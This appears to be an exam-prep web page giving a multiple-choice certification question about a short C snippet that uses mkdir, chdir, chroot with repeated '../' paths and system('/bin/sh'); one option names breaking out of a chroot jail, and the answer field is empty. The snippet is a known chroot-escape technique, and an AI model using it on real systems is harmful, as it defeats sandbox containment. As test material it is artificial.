PrepAway - Latest Free Exam Questions & Answers

What is the following shellcode trying to accomplish?

What is the following shellcode trying to accomplish?
int main(void) {
mkdir(“A”);
chdir(“A”);
chroot(“..//..//..//..//..//..//..//..//”);
system(“/bin/sh”)

PrepAway - Latest Free Exam Questions & Answers

A.
Corrupt the Linux kernel

B.
Break out of “chroot jail”

C.
Traverse to the /bin/sh directory

D.
Create a buffer overflow

Explanation:


Leave a Reply